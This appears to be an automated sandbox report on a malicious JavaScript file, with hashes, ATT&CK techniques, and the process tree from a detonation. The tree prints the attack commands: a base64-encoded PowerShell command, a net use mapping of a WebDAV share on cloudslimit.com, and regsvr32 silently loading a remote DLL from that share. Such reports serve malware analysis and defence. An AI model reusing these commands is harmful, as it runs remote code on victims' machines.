b3b2786208f527b5fa6176cf5d5048b2930c6e7dbe25a263d907f1b94925987f

Analysis

max time kernel
137s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 19:14

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General

Target

44787834286229611.js
Size

17KB
MD5

147f519112374c5181c7fad071cabb6f
SHA1

ca1e2bcc9d9a52bcc14ff3fb25ef6b965871e9ce
SHA256

b3b2786208f527b5fa6176cf5d5048b2930c6e7dbe25a263d907f1b94925987f
SHA512

7e30abfd830e17dbdd50053779b308402358aea20175a067bc3d1d3b585825bbc83ebff4d99e1b536cffd79ad61141bdc94133ab6cdc0564497d378084aab50e
SSDEEP

192:K2DvtJ3XpG14kBX70hOlEK+MMZGHeKDpiinUyvp8RiJh6+iB:K2Dvjw1Zp70hOu5qeinfK

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4992	powershell.exe
4992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 4992	1752	wscript.exe	84
PID 1752 wrote to memory of 4992	1752	wscript.exe	84
PID 4992 wrote to memory of 3376	4992	powershell.exe	86
PID 4992 wrote to memory of 3376	4992	powershell.exe	86
PID 4992 wrote to memory of 2172	4992	powershell.exe	87
PID 4992 wrote to memory of 2172	4992	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\44787834286229611.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADQANgA4ADkAMgAyADAANQA5ADMAMAA0ADQAMAAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:3376
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\246892205930440.dll
    3⤵
    PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmo02iys.iab.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4992-0-0x00007FFF3CCC3000-0x00007FFF3CCC5000-memory.dmp

Filesize
8KB

Download
memory/4992-1-0x000001A262360000-0x000001A262382000-memory.dmp

Filesize
136KB

Download
memory/4992-11-0x00007FFF3CCC0000-0x00007FFF3D781000-memory.dmp

Filesize
10.8MB

Download
memory/4992-12-0x00007FFF3CCC0000-0x00007FFF3D781000-memory.dmp

Filesize
10.8MB

Download
memory/4992-15-0x00007FFF3CCC0000-0x00007FFF3D781000-memory.dmp

Filesize
10.8MB

Download